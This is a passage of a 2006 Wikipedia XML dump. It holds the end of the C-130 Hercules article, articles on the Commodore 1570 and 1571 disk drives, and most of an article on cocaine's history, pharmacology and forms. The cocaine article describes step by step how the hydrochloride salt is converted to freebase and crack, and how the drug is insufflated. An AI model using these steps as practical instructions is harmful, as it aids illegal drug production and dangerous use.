# {{note|dabney}}Dabney, Joseph E., &quot;A Mating of the Jeep, the Truck, and the Airplane,&quot; excerpted from ''HERK: Hero of the Skies'' in ''Lockheed Martin Service News,'' vol. 29, no. 2. http://www.lockheedmartin.com/data/assets/7317.pdf
# {{note|afm}}[http://www.afa.org/magazine/aug2004/0804herc.asp &quot;The Immortal Hercules&quot; article from the Air Force Magazine]
# {{note|avzone}}[http://www.theaviationzone.com/factsheets/c130.asp C-130 article on The Aviation Zone]

==External links==
* [http://pak-defence.com/index.php?option=com_content&amp;task=view&amp;id=34&amp;Itemid=46 C-130]
* [http://www.check-six.com/lib/Coast_Guard_Aviation_Casualties.htm Fatal Coast Guard Crashes]
* [http://www.history.navy.mil/planes/c-130.pdf Navy.mil - Standard Aircraft Characteristics: C-130G]
* [http://pakistaniforces.com/index.php?option=com_content&amp;task=view&amp;id=34&amp;Itemid=46 Information regarding C-130]
* [http://www.navy.mil/navydata/fact_display.asp?cid=1100&amp;tid=500&amp;ct=1 The US Navy Factfile Entry]
* [http://www.aircraft.co.za/Encyclopedia/L/46.php Aircraft.co.za - The Complete Aviation Reference]

==Related content==
{{aircontent|
&lt;!-- include as many lines are appropriate. additional lines/entries with carriage return. --&gt;
|sequence=
*[[Boeing C-127|C-127]] - [[Fairchild C-128|C-128]] - [[C-129 Super Skytrain|C-129]] - [[C-130 Hercules|C-130]] - [[C-131 Samaritan|C-131]] - [[Douglas C-132|C-132]] - [[C-133 Cargomaster|C-133]]

|related=
* [[AC-130 Spectre]]
* [[MC-130|MC-130 Combat Talon]]

|similar aircraft=
*[[Airbus A400M]]
*[[Antonov An-12]]

|lists=
*[[List of military aircraft of the United States]]
*[[List of Lockheed aircraft]]

}}

{{Commons|C-130 Hercules|C-130 Hercules}}

[[Category:Lockheed Corporation]]
[[Category:U.S. military transport aircraft 1950-1959]]
[[Category:United States Marine Corps equipment]]
[[Category:Vietnam War aircraft]]

[[da:Lockheed C-130 Hercules]]
[[de:Lockheed C-130]]
[[es:C-130 Hércules]]
[[fa:سی-۱۳۰]]
[[fr:Lockheed C-130 Hercules]]
[[he:C-130 הרקולס]]
[[id:C-130 Hercules]]
[[it:Lockheed C-130 Hercules]]
[[ja:C-130 (輸送機)]]
[[ms:C-130 Hercules]]
[[nl:C-130 Hercules]]
[[no:C-130 Hercules]]
[[pl:Lockheed C-130 Hercules]]
[[pt:C-130 Hercules]]
[[sl:Lockheed Martin C-130 Hercules]]
[[sr:Ц-130 Херкулес]]
[[sv:Lockheed Martin C-130 Hercules]]
[[th:เครื่องบินลำเลียงซี-130]]</text>
    </revision>
  </page>
  <page>
    <title>Commodore 1570</title>
    <id>7699</id>
    <revision>
      <id>34038580</id>
      <timestamp>2006-01-05T23:42:47Z</timestamp>
      <contributor>
        <username>Mgreenbe</username>
        <id>478881</id>
      </contributor>
      <minor />
      <comment>typo, ce</comment>
      <text xml:space="preserve">The '''Commodore 1570''' was a 5&amp;frac14;&quot; [[floppy disk]] drive for the [[Commodore 128]] [[home computer|home]]/[[personal computer]]. It was a single-sided, 170KB version of the double-sided [[Commodore 1571]], released as a [[stopgap]] measure when [[Commodore International]] was unable to provide large enough quantities of 1571s due to a shortage of double-sided drive mechanisms.  Like the 1571, it could read and write both [[Group Code Recording|GCR]] and [[MFM]] disk formats.

The 1570 utilized a 1571 logic board in a cream-colored [[Commodore 1541]] case with a 1541 drive mechanism. Like the 1571, its built-in DOS provided a data burst mode for transferring data to the C128 computer at a faster speed than a 1541. Its [[Read-only memory|ROM]] also contained some DOS bug fixes that didn't appear in the 1571 until much later.  The 1570 could read and write all single-sided [[CP/M operating system|CP/M]] format disks that the 1571 could access.

Although the 1570 was compatible with the [[Commodore 64]], the C64 wasn't capable of taking advantage of the drive's higher-speed operation, and when used with the C64 it was little more than a pricier 1541.  Also, many early buyers of the C128 chose to temporarily make do with a 1541 drive, perhaps owned as part of a previous C64 setup, until the 1571 became more widely available.

''See also'': [[Commodore 1581]]

[[Category:CBM storage devices]]
[[Category:Commodore 64]]</text>
    </revision>
  </page>
  <page>
    <title>Commodore 1571</title>
    <id>7700</id>
    <revision>
      <id>33898289</id>
      <timestamp>2006-01-04T22:51:19Z</timestamp>
      <contributor>
        <username>Crotalus horridus</username>
        <id>273594</id>
      </contributor>
      <comment>Reworded the first ¶</comment>
      <text xml:space="preserve">[[de:VC1571]]

The '''Commodore 1571''' was [[Commodore International|Commodore's]] high-end 5&amp;frac14;&quot; [[floppy disk]] drive. With its double-sided drive mechanism, it had the ability to utilized double-sided, double-density (DS/DD) floppy disks natively. This was in contrast to its predecesors, the [[Commodore 1541|1541]] and [[Commodore 1570|1570]], which could read or write such disks only by manually flipping them over to access the second side.

The 1571 was released to match the [[Commodore 128]], both design-wise and feature-wise. It was announced in the summer of [[1985]], at the same time as the C128, and became available in quantity later that year. The later C128''D'' had a 1571 compatible drive integrated in the system unit. A double-sided disk on the 1571 could hold 332 [[Kilobyte|KB]] of data, formatted as 1,328 disk blocks of 256 [[byte]]s each.

The 1571 featured a &quot;burst mode&quot; when used in conjunction with the C128 (although not when used with the [[Commodore 64]] or [[Commodore VIC-20|VIC-20]]). This mode replaced the slow [[bit-banging]] serial routines of the 1541 with a true serial [[shift register]] implemented in hardware, thus dramatically increasing the drive speed. Although this had originally been planned when Commodore first switched from the parallel [[IEEE-488]] interface to a custom serial interface, hardware bugs in the VIC-20's [[MOS Technology 6522|6522 VIA]] shift register prevented it from working properly [http://www.binarydinosaurs.co.uk/Museum/Commodore/c64/c64notes.php].

For compatibility with copy-protected software, the 1571 could also closely emulate the 1541. This mode was the default when the drive was used in conjunction with a C64.

The 1571 was noticeably quieter than its predecessor and tended to run cooler as well, even though, like the 1541, it had the power supply inside the unit (later Commodore drives, like the 1541-II and the 3&amp;frac12;&quot; [[Commodore 1581|1581]], came with external power supplies). The 1541-II/1581 power supply makes mention of a 1571-II, hinting that Commodore may have intended to release a version of the 1571 with an external power supply. However, no 1571-IIs are known to exist. The embedded OS in the 1571 was [[Commodore DOS|CBM DOS V3.0 1571]], an improvement over the 1541's V2.6.

Unlike the 1541, which was limited to [[Group Code Recording|GCR]] formatting, the 1571 could do both GCR and [[MFM]] disk formats. A C128 in CP/M mode equipped with a 1571 was capable of reading and writing floppy disks formatted for many [[CP/M]] computers; specifically, the following formats:
* [[IBM PC]] [[CP/M-86]]
* [[Osborne 1]]
* Epson QX10
* [[Kaypro]] II, IV

With additional software, it was possible to read and write to [[DOS]]-formatted floppies as well. Numerous commercial and public-domain programs for this purpose became available, the best known being [[SOGWAP]]'s &quot;Big Blue Reader&quot;. Although the C128 could not run any DOS-based software, this capability allowed data files to be exchanged with PC users.

Like the 1541, Commodore initially had difficulty keeping up with demand for the 1571, and that lack of availability and the drive's relatively high price (about US$300) presented an opportunity for cloners. Two 1571 clones, one from Oceanic and one from Blue Chip, appeared, but legal action from Commodore quickly succeeded in driving them from the market.

Commodore announced a dual-drive version of the 1571, to be called the 1572, but quickly cancelled it, reportedly due to technical difficulties with the 1572 DOS.

==References==
* Ellinger, Rainer (1986). ''1571 Internals.'' Grand Rapids, MI: Abacus Software (translated from the original German edition, Düsseldorf: Data Becker GmbH). ISBN 0-916439-44-5.

[[Category:CBM storage devices]]
[[Category:Commodore 64]]</text>
    </revision>
  </page>
  <page>
    <title>Cocaine</title>
    <id>7701</id>
    <revision>
      <id>41909161</id>
      <timestamp>2006-03-02T15:23:34Z</timestamp>
      <contributor>
        <username>Jpgordon</username>
        <id>96897</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.43.75.124|72.43.75.124]] ([[User talk:72.43.75.124|talk]]) to last version by 69.232.108.106</comment>
      <text xml:space="preserve">{| id=&quot;bioChemInfoBox&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=&quot;250px&quot; align=&quot;right&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em; clear: right&quot; 
|-
|bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot;|
[[Image:Cocaine.png|center|200px|Cocaine's chemical structure]]&lt;br/&gt;
''Crack-Cocaine''
|-
|align=&quot;center&quot; colspan=&quot;2&quot;|
''3-benzoyloxy-8-methyl-8-azabicyclo&lt;br /&gt;[3.2.1]octane-4-carboxylic acid methyl ester''
|-
|align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;|
'''[[CAS number]]'''&lt;br/&gt;
50-36-2
|align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;|
'''[[ATC code]]'''&lt;br/&gt;
N01BC01
|-
|bgcolor=&quot;#efefef&quot;|[[Chemical formula]]
|bgcolor=&quot;#dfefff&quot;|[[Carbon|C]]&lt;sub&gt;17&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;21&lt;/sub&gt;[[Nitrogen|N]][[Oxygen|O]]&lt;sub&gt;4&lt;/sub&gt;
|-
|bgcolor=&quot;#efefef&quot;|[[Molecular weight]]
|bgcolor=&quot;#dfefff&quot;|303.35 [[atomic mass unit|amu]]
|-
|bgcolor=&quot;#efefef&quot;|[[Bioavailability]]
|bgcolor=&quot;#dfefff&quot;|?
|-
|bgcolor=&quot;#efefef&quot;|Metabolism
|bgcolor=&quot;#dfefff&quot;|Liver
|-
|bgcolor=&quot;#efefef&quot;|[[half life|Elimination half life]]
|bgcolor=&quot;#dfefff&quot;|Up to 72 hours
|-
|bgcolor=&quot;#efefef&quot;|[[Excretion]]
|bgcolor=&quot;#dfefff&quot;|Urine
|-
|bgcolor=&quot;#efefef&quot;|[[Pregnancy category (pharmaceutical)|Pregnancy category]] 
|bgcolor=&quot;#dfefff&quot;|C
|-
|bgcolor=&quot;#efefef&quot;|[[Controlled Substance Act|Legal status (US)]]
|bgcolor=&quot;#dfefff&quot;|US Schedule II
|-
|bgcolor=&quot;#efefef&quot;|[[Misuse of Drugs Act 1971|Legal status (UK)]]
|bgcolor=&quot;#dfefff&quot;|Class A
|-
|bgcolor=&quot;#efefef&quot;|Delivery
|bgcolor=&quot;#dfefff&quot;|Topical, Insufflation, IV, PO
|-
&lt;/table&gt;&lt;table bgcolor=&quot;#ffffff&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=&quot;167px&quot; align=&quot;right&quot; style=&quot;border-collapse: collapse; clear: right; margin: 0 0 0 0.5em&quot;&gt;
|-
|}

:''This article is about the drug Cocaine. For the blues song by [[J.J. Cale]] (later covered by [[Eric Clapton]]) see [[Cocaine (song)]]''.

'''Cocaine''' is a [[crystalline]] [[tropane]] [[alkaloid]] that is obtained from the leaves of the [[coca]] plant. It is a [[stimulant]] of the [[central nervous system]] and an [[appetite suppressant]], creating what has been described as a euphoric sense of happiness and increased energy. Though most often used recreationally for this effect, cocaine is also a topical [[anesthesia|anesthetic]] that was used in [[eye surgery|eye]] and throat [[surgery]] in the 19th and early 20th centuries. Cocaine is highly [[addiction|addictive]], and its possession, cultivation, and distribution is illegal for non-medicinal / non-government sanctioned purposes in virtually all parts of the world. 
==History==
===The coca leaf===
For thousands of years and still today, [[South America]]n [[Native American (Americas)|indigenous peoples]] have chewed the [[coca]] leaf (''Erythroxylon coca''), a plant which contains vital nutrients as well as numerous [[alkaloids]], including cocaine. The leaf was and is chewed almost universally by some [[tribe|indigenous communities]], but there is no evidence that its habitual use ever led to any of the negative consequences generally associated with habitual cocaine use today.

[[Image:Coca.jpg|168px|left|thumb|The coca plant, ''Erythroxylon coca''.]]

When the [[Spanish colonization of the Americas|Spaniards conquered South America]], they at first ignored Aboriginal claims that the leaf gave them strength and energy, and declared the practice of chewing it the work of the [[Devil]]. But after discovering that these claims were true, they legalized and taxed the leaf, taking 10% off the value of each crop. These taxes were for a time the main source of support for the [[Roman Catholic Church]] in the region.

In [[1609]] Padre [[Blas Valera]] wrote:
&lt;blockquote&gt;''Coca protects the body from many ailments, and our doctors use it in powdered form to reduce the swelling of wounds, to strengthen broken bones, to expel cold from the body or prevent it from entering, and to cure rotten wounds or sores that are full of maggots. And if it does so much for outward ailments, will not its singular virtue have even greater effect in the entrails of those who eat it?''&lt;/blockquote&gt;

===Isolation===  

Although the stimulant and hunger-suppressant properties of coca had been known for many centuries, the isolation of the cocaine [[alkaloid]] was not achieved until [[1855]]. Many scientists had attempted to isolate cocaine, but none had been successful for two reasons: the knowledge of chemistry required was insufficient at the time, and coca does not grow in [[Europe]] and is easily ruined during travel.

The cocaine alkaloid was first isolated by the [[Germany|German]] [[chemist]] [[Friedrich Gaedcke]] in [[1855]]. Gaedcke named the alkaloid “erythroxyline”, and published a description in the journal ''[[Archives de Pharmacie]]''.

In [[1856]] [[Friederich Wöhler]] asked Dr. [[Carl Scherzer]], a scientist aboard the ''[[Novara]]'' (an [[Austria]]n frigate sent by Emperor [[Franz Joseph of Austria|Franz Joseph]] to circle the globe), to bring him a large amount of coca leaves from South America. In [[1859]] the ship finished its travels and Wöhler received a trunk full of coca. Wöhler passed on the leaves to [[Albert Niemann]], a [[Doctor of Philosophy|Ph.D.]] student at the [[University of Göttingen]] in [[Germany]], who then developed an improved purification process.

Niemann described every step he took to isolate cocaine in his [[dissertation]] entitled ''[[On a New Organic Base in the Coca Leaves]]'', which was published in [[1860]] &amp;mdash; it also earned him his Ph.D. and is now in the [[British Library]]. He wrote of the alkaloid's “colourless transparent prisms” and said that, “Its solutions have an alkaline reaction, a bitter taste, promote the flow of saliva and leave a peculiar numbness, followed by a sense of cold when applied to the tongue.” Niemann named the alkaloid “cocaine” — as with other [[alkaloid]]s its name carried the “-ine” [[suffix]] (from [[Latin]] ''-ina'').

===Popularization===
In [[1859]] an [[Italy|Italian]] [[physician|doctor]] [[Paolo Mantegazza]] returned from [[Peru]], where he had witnessed first-hand the use of coca by the natives. He proceeded to experiment on himself and upon his return to [[Milan]] he wrote a paper in which he described the effects. In this paper he declared coca and cocaine (at the time they were assumed to be the same) as being useful medicinally, in the treatment of “a furred tongue in the morning, [[flatulence]], [and] whitening of the teeth.” 

[[Image:Mariani_pope.jpg|320px|right|thumb|[[Pope Leo XIII]] purportedly carried a hipflask of Vin Mariani with him, and awarded a [[Vatican City|Vatican]] [[gold medal]] to [[Angelo Mariani]].]]
A chemist named [[Angelo Mariani]] who read Mantegaza’s paper became immediately intrigued with coca, and its economic potential. In [[1863]] Mariani started marketing a [[wine]] called [[Vin Mariani]] which had been treated with coca leaves. The [[alcohol|ethanol]] in wine acted as a solvent and extracted the cocaine from the coca leaves, altering the drink’s effect. It contained 6&amp;nbsp;mg cocaine per ounce of wine, but Vin Mariani which was to be exported contained 7.2&amp;nbsp;mg per ounce in order to compete with the higher cocaine content of similar drinks in the United States. A “pinch of coca leaves” was included in John Styth Pemberton's original 1886 recipe for [[Coca-Cola]], though the company began using decocainized leaves in 1906 when the [[Pure Food and Drug Act]] was passed. The only known measure of the amount of cocaine in Coca-Cola was determined in [[1902]] as being as little as 1/400 of a [[grain (measure)|grain]] (0.2&amp;nbsp;mg) per ounce of syrup. (6&amp;nbsp;[[parts per million|ppm]].) The actual amount of cocaine that Coca-Cola contained during the first twenty years of its production is impossible to determine.

In [[1879]] cocaine began to be used to treat [[morphine]] addiction. Cocaine was introduced into clinical use as a [[local anaesthetic]] in Germany in [[1884]], about the same time as [[Sigmund Freud]] published his work ''[[Über Coca]]'', in which he wrote that cocaine causes:

&lt;blockquote&gt;''...exhilaration and lasting euphoria, which in no way differs from the normal euphoria of the healthy person...You perceive an increase of self-control and possess more vitality and capacity for work....In other words, you are simply normal, and it is soon hard to believe you are under the influence of any drug....Long intensive physical work is performed without any fatigue...This result is enjoyed without any of the unpleasant after-effects that follow exhilaration brought about by alcohol....Absolutely no craving for the further use of cocaine appears after the first, or even after repeated taking of the drug...''&lt;/blockquote&gt;

[[Image:Cocaine tooth drops.jpg|thumb|320px|left|Cocaine, the fast-acting anesthetic.]]In [[1885]] the U.S. manufacturer [[Parke-Davis]] sold cocaine in various forms, including cigarettes, powder, and even a cocaine mixture that could be injected directly into the user’s veins with the included needle. The company promised that its cocaine products would “supply the place of food, make the coward brave, the silent eloquent and ... render the sufferer insensitive to pain.”

By late [[Victorian era]] cocaine use had appeared as a vice in [[literature]], for example as the ''cucaine'' injected by [[Arthur Conan Doyle]]’s fictional [[Sherlock Holmes]].

In [[1909]] [[Ernest Shackleton]] took “Forced March” brand cocaine tablets to [[Antarctica]], as did [[Captain Scott]] a year later on his ill-fated journey to the [[south pole]].

===Prohibition===
By the turn of the twentieth century, the addictive properties of cocaine had become clear to many, and the problem of cocaine abuse began to capture public attention in the United States. The dangers of cocaine abuse became part of a [[moral panic]] that was tied to the dominant racial and social anxieties of the day. In [[1903]] the ''[[American Journal of Pharmacy]]'' stressed that most cocaine abusers were “bohemians, gamblers, high- and low-class [[prostitutes]], night porters, bell boys, burglars, racketeers, pimps, and casual laborers.” In [[1914]] Dr. Christopher Koch of [[Pennsylvania]]’s State Pharmacy Board made the racial innuendo explicit, testifying that, “Most of the attacks upon the white women of the South are the direct result of a cocaine-crazed Negro brain.” Mass media manufactured an epidemic of cocaine use amongst [[African-Americans]] in the [[Southern United States]] to play upon racial prejudices of the era, although there is little evidence that such an epidemic actually took place. In the same year, the [[Harrison Narcotics Tax Act]] outlawed the use of cocaine in the United States.

===Modern usage===
In most Western countries, cocaine (known colloquially as &quot;coke&quot;, &quot;nose candy&quot;, &quot;blow&quot;, &quot;snow&quot;, etc.; see [[List of street names of drugs]]) is a popular [[recreational drug]]. In the [[United States]], the development of &quot;[[Cocaine#Crack_cocaine|crack]]&quot; cocaine introduced the substance to a generally poorer inner-city market. Use of the powder form has stayed relatively constant, experiencing a new height of use during the late [[1990s]] and early [[2000s]] in the [[USA]], and has become much more popular in the last few years in the [[UK]].

Cocaine use is prevalent across all socioeconomic strata, including age, demographics, economic, social, political, religious, and livelihood. Cocaine in its various forms comes in second only to [[cannabis (drug)|cannabis]] as the most popular illegal recreational drug in the [[United States]], and is number one in street value sold each year.

The estimated U.S. cocaine market exceeded [[United States dollar|$]]35 billion in street value for the year [[2003]], exceeding revenues by corporations such as [[AT&amp;T]] and [[Starbucks]]. There is a tremendous demand for cocaine in the U.S. market, particularly among those who are making incomes affording [[luxury]] spending, such as single adults and various professionals. Cocaine’s status as a [[club drug]] shows its immense popularity among the “party crowd”.  Cocaine’s high revenues may be due to the drug’s psychologically addictive nature, which makes the cessation of use quite difficult. It has become much more popular as a middle class drug in the [[United Kingdom]] in recent years.

==Pharmacology==
===Appearance===
[[Image:Cocaine3.jpg|166px|right|thumb|Cocaine powder.]]
Cocaine in its purest form is a white, pearly product. Cocaine appearing in powder form is a [[salt]], typically cocaine [[hydrochloride]] ([[CAS registry number|CAS]] 53-21-4). Cocaine is frequently adulterated or “cut” with various powdery fillers to increase its surface area; the substances most commonly used in this process are [[baking soda]], sugars, such as [[lactose]], [[inositol]], and [[mannitol]], and local anesthetics, such as [[lidocaine]]. Adulterated cocaine is often a white, off-white or pinkish powder. 

The color of “crack” cocaine depends upon several factors including the origin of the cocaine used, the method of preparation — with [[ammonia]] or [[sodium bicarbonate]], and the presence of impurities, but will generally range from a light brown to a pale brown. Its texture will also depend on the factors which affect color, but will range from a crumbly texture, which is usually the lighter variety, to hard, almost crystalline nature, which is usually the darker variety.

===Forms of cocaine===
====Cocaine sulfate====
Cocaine sulfate is produced by [[Maceration|macerating]] coca leaves along with [[water]] that has been acidulated with [[sulfuric acid]], or a naphtha-based solvent, like [[kerosene]] or [[benzene]]. This is often accomplished by putting the ingredients into a vat and stamping on it, in a manner similar to the traditional method for crushing [[grape]]s. After the cocaine is extracted, the water is evaporated to yield a pastey mass of impure cocaine sulfate.

The sulfate itself is an intermediate step to producing cocaine hydrochloride. In [[South America]] it is commonly smoked along with tobacco, and is known as ''pasta'', ''basuco'', ''basa'', ''pitillo'', ''paco'' or simply ''paste''. It is also gaining popularity as a cheap drug (.30-.70 U.S. cents per &quot;hit&quot; or dose) in [[Argentina]].

====Freebase====
{{main|Freebase}}
As the name implies, “freebase” is the [[Base (chemistry)|base]] form of cocaine, as opposed to the [[salt]] form of cocaine hydrochloride. Whereas cocaine hydrochloride is extremely [[soluble]] in [[water]], cocaine base is insoluble in water and is therefore not suitable for drinking, snorting or injecting. Cocaine hydrochloride is not well-suited for smoking because the [[temperature]] at which it [[evaporation|vaporizes]] is very high, and close to the temperature at which it [[combustion|burns]]; however, cocaine base [[evaporation|vaporizes]] at a low temperature, which makes it suitable for inhalation.

Smoking freebase is preferred by many users because the cocaine is absorbed immediately into [[blood]] via the [[lungs]], where it reaches the [[brain]] in about five seconds. The rush is much more intense than sniffing the same amount of cocaine nasally, but the effects do not last as long. The peak of the freebase rush is over almost as soon as the user exhales the vapor, but the high typically lasts 5–10 minutes afterwards. What makes freebasing particularly dangerous is that users typically don't wait that long for their next hit and will continue to smoke freebase until none is left. These effects are similar to those that can be achieved by injecting or “slamming” cocaine hydrochloride, but without the risks associated with [[intravenous]] drug use (although there are other serious risks associated with smoking freebase).

Freebase cocaine is produced by first dissolving cocaine hydrochloride in water. Once dissolved in water, cocaine hydrochloride (Coc HCl) disassociates into protonated cocaine [[ion]] (CocH&lt;sup&gt;&lt;small&gt;+&lt;/small&gt;&lt;/sup&gt;) and [[chloride]] ion (Cl&lt;sup&gt;&lt;small&gt;-&lt;/small&gt;&lt;/sup&gt;). Any [[solid]]s that remain in the [[solution]] are not cocaine (they are part of the cut) and are removed by [[Filter (chemistry)|filtering]]. A base, typically [[ammonia]] (NH&lt;sub&gt;&lt;small&gt;3&lt;/small&gt;&lt;/sub&gt;), is added to the [[solution]] to remove the extra [[proton]] from the cocaine. The following net [[chemical reaction]] takes place:

&lt;div align=&quot;center&quot; style=&quot;line-height: 2em;&quot;&gt;NH&lt;sub&gt;&lt;small&gt;3&lt;/small&gt;&lt;/sub&gt; + CocH&lt;sup&gt;&lt;small&gt;+&lt;/small&gt;&lt;/sup&gt; + Cl&lt;sup&gt;&lt;small&gt;-&lt;/small&gt;&lt;/sup&gt;  → NH&lt;sub&gt;&lt;small&gt;4&lt;/small&gt;&lt;/sub&gt;Cl + Coc&lt;/div&gt;

As freebase cocaine (Coc) is insoluble in water, it [[Precipitation (chemistry)|precipitates]] and the solution becomes cloudy. To recover the freebase, [[diethyl ether]] is added to the solution: Since freebase is highly soluble in ether, a vigorous shaking of the mixture results in the freebase being dissolved in the ether. As [[ether]] is insoluble in water, it can be [[siphon]]ed off. The ether is then left to evaporate, leaving behind the nearly pure freebase.

This procedure is dangerous because of the hazards of handling diethyl ether: it is extremely [[flammable]], its vapors are heavier than air and can “creep” from an open bottle, and in the presence of oxygen it can form [[diethyl ether peroxide|peroxide]]s which can spontaneously combust. Demonstrative of the dangers of the practice, the famous comedian [[Richard Pryor]] used to perform a well known skit in which he poked fun at himself during a 1980 incident in which he caused an explosion and set himself on fire while attempting to smoke “freebase”, presumably still wet with ether.

====Crack cocaine====
[[Image:Crack street dosage.jpg|thumb|right|A pile of crack cocaine &quot;rocks&quot;.]]
Because of the dangers of using ether to produce pure freebase cocaine, cocaine producers began to omit the step of removing the freebase cocaine precipitate from the ammonia mixture. Typically, filtration processes are also omitted. The end result of this process is that the cut, in addition to the ammonium salt (NH&lt;sub&gt;&lt;small&gt;4&lt;/small&gt;&lt;/sub&gt;Cl), remains in the freebase cocaine after the mixture is evaporated. The “rock” which is thus formed also contains a small amount of water. When the rock is heated this water boils, making a crackling sound (hence the name “crack”). [[Baking soda]] is now most often used as a base rather than ammonia for reasons of lowered stench and toxicity; however, any weak base can be used to make crack cocaine. Strong bases, such as sodium hydroxide, tend to [[hydrolyze]] some of the cocaine into non-psychoactive [[ecgonine]].

The net reaction when using baking soda (also called sodium bicarbonate, with a chemical formula of NaHCO&lt;sub&gt;&lt;small&gt;3&lt;/small&gt;&lt;/sub&gt;) is:
&lt;div align=&quot;center&quot; style=&quot;line-height: 2em;&quot;&gt;CocH&lt;sup&gt;&lt;small&gt;+&lt;/small&gt;&lt;/sup&gt; + Cl&lt;sup&gt;&lt;small&gt;-&lt;/small&gt;&lt;/sup&gt; + NaHCO&lt;sub&gt;&lt;small&gt;3&lt;/small&gt;&lt;/sub&gt; → Coc + H&lt;sub&gt;&lt;small&gt;2&lt;/small&gt;&lt;/sub&gt;O + CO&lt;sub&gt;&lt;small&gt;2&lt;/small&gt;&lt;/sub&gt; + NaCl&lt;/div&gt;

Crack is unique because it offers a strong cocaine experience in small, low-priced packages. In the [[United States]], crack cocaine is often sold in small, inexpensive dosage units frequently known as “nickels” or “nickel rocks” (referring to the price of [[United States dollar|$]]5.00), and also “dimes” or “dime rocks” ($10.00) and sometimes as “twenties” or “solids”, and “forties”. The quantity provided by such a purchase varies depending upon many factors, such as local availability, which is affected by geographic location. A twenty may yield a quarter gram or half gram on average, yielding 30 minutes to an hour of effect if hits are taken every few minutes. After the $20 or $40 mark, crack and powder cocaine are sold in grams or fractions of ounces. Many inner-city addicts with a regular dealer will “work a corner”, taking money from anyone who wants crack, making a buy from the dealer, then delivering part of the product while keeping some for themselves. 

Although consisting of the same active drug as powder cocaine, crack cocaine in the United States is seen as a drug primarily by and for the inner city poor (the stereotypical &quot;crack head&quot; is a poor, urban, usually [[homeless]] [[person of color]]). While insufflated powder cocaine has an associated glamour attributed to its popularity among mostly middle and upper class whites (as well as [[musician]]s and entertainers), crack is perceived as a [[skid row]] drug of squalor and desperation. In many US jurisdictions, possession or sale of crack cocaine carries a harsher penalty than an equivalent amount of powder cocaine.

Street names for crack include “bones”, &quot;candy&quot;, &quot;cheese&quot;, “devil’s [[dandruff]]”, &quot;devil's candy&quot;, “devil drug”, “devilsmoke”, “dope” &quot;food”, &quot;girl&quot;,“hard”, &quot;juice&quot;, &quot;krills&quot;, “lle&quot; (Spanish), “llello&quot; (Spanish), “matter”, “smoke”, &quot;white bitch&quot;, “work”, &quot;yay”, &quot;yayo”, &quot;yeyo&quot;, “yoda”, “yola” &quot;Sos&quot; or &quot;Sosa&quot; (Dutch); but most commonly, it is simply called “rock”. Crack cocaine was extremely popular in the mid and late [[1980s]], especially in inner cities, although its popularity declined through the [[1990s]]. In [[1998]], [[Gary Webb]]'s book ''Dark Alliance: The CIA, the Contras, and the Crack Cocaine Explosion'' linked the “crack explosion” to the [[CIA]] funding of the [[anti-Communism]] [[Contras]] fighting against [[Sandinistas]] in [[Nicaragua]].

===Methods of administration===
====Chewed/eaten====
The '''simplest''' way to administer cocaine is to chew on the leaves of the plant. Because of physical restrictions of this modality, only small amounts of cocaine make it into the [[bloodstream]] and the effect is that of a mild stimulant. ''Mate de coca''  or coca-leaf tea is also a traditional method of consumption and is often recommended to treat [[altitude sickness]].

In [[1986]] an article in the ''[[Journal of the American Medical Association]]'' revealed that health food stores were selling coca-leaf tea as “Health Inca Tea”. While the packaging claimed it had been “decocainized”, no such process had taken place—they were selling a controlled substance off the shelves. The article stated that drinking two cups of the tea per day gave a mild [[stimulation]], increased [[heart rate]], and [[Emotional mood|mood]] elevation, and the tea was essentially harmless. Despite this, the [[Drug Enforcement Agency|DEA]] seized several shipments in [[Hawaii]], [[Chicago, Illinois]], [[Georgia (U.S. state)|Georgia]], and several locations on the [[East Coast of the United States]], and the product was removed from the shelves.

====Insufflation====
[[Insufflation]] (known colloquially as “snorting” or “sniffing”) is the most common method of ingestion of recreational powder cocaine in the Western world. Contrary to widespread belief, cocaine is not actually inhaled using this method; rather the drug coats and is absorbed through the [[mucous membrane]]s lining the [[sinus]]es. When insufflating cocaine, absorption through the nasal membranes is approximately 80%. Any material not directly absorbed through the mucous membranes is collected in [[mucus]] and swallowed (this &quot;drip&quot; is considered pleasant by some and unpleasant by others). Chronic use results in ongoing [[rhinitis]] and [[necrosis]] of the nasal membranes. Cellulose [[granuloma]]s from adulterants have also been found in the lungs of recreational “sniffers”.

Prior to insufflation cocaine powder must be divided into very fine particles. Cocaine of high purity breaks into smallest dust very easily, except when it's moist (not well stored) and forms “chunks”, which reduce the efficiency of nasal absorption. 

Rolled up [[currency|banknotes]], hollowed-out [[pen]]s, cut [[drinking straw|straw]]s and specialized [[spoon|spoons]] are often used to insufflate cocaine.  Such devices are often referred to as 'tooters' by users. The cocaine typically is poured onto a flat, hard surface (such as a [[mirror]]) and divided into &quot;lines&quot; (usually with a [[razor blade]] or [[credit card]]) which are then insufflated. The amount of cocaine in a line varies widely from person to person and occasion to occasion (the purity of the cocaine is also a factor), but one line is generally considered to be a single dose.

Insufflating can cause coughs and nosebleeds.

====Injected====
The intravenous route of administration provides the highest blood levels of drug in the shortest time. It can get to the brain within 15 seconds.  Injection of cocaine produces an exhilarating rush so intense that often the user may vomit uncontrollably, although the euphoria passes quickly as the liver rapidly metabolizes the drug. Aside from the toxic effects of cocaine, there is also danger of circulatory [[embolism|emboli]] from the insoluble substances that may be used to cut the drug. Obviously, there is also a risk of serious infection associated with the use of contaminated needles. 

An injected mixture of cocaine and [[heroin]], known as “[[speedball (drug)|speedball]]” or “moonrock”, is a particularly popular and dangerous combination, as the converse effects of the drugs actually complement each other, but may also mask the symptoms of an overdose. It has been responsible for numerous deaths, particularly in and around [[Los Angeles]], including celebrities such as [[John Belushi]], [[Chris Farley]] and [[Layne Staley]]. Experimentally, cocaine injections can be delivered to animals such as fruit flies [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15262059&amp;query_hl=21] to study the mechanisms of cocaine addiction.

====Smoked====
[[Image:Leslie-crack.jpg|thumb|250px|A woman smoking crack from a glass pipe]]
''(see also: [[Cocaine#Crack cocaine|Crack cocaine]] above)''

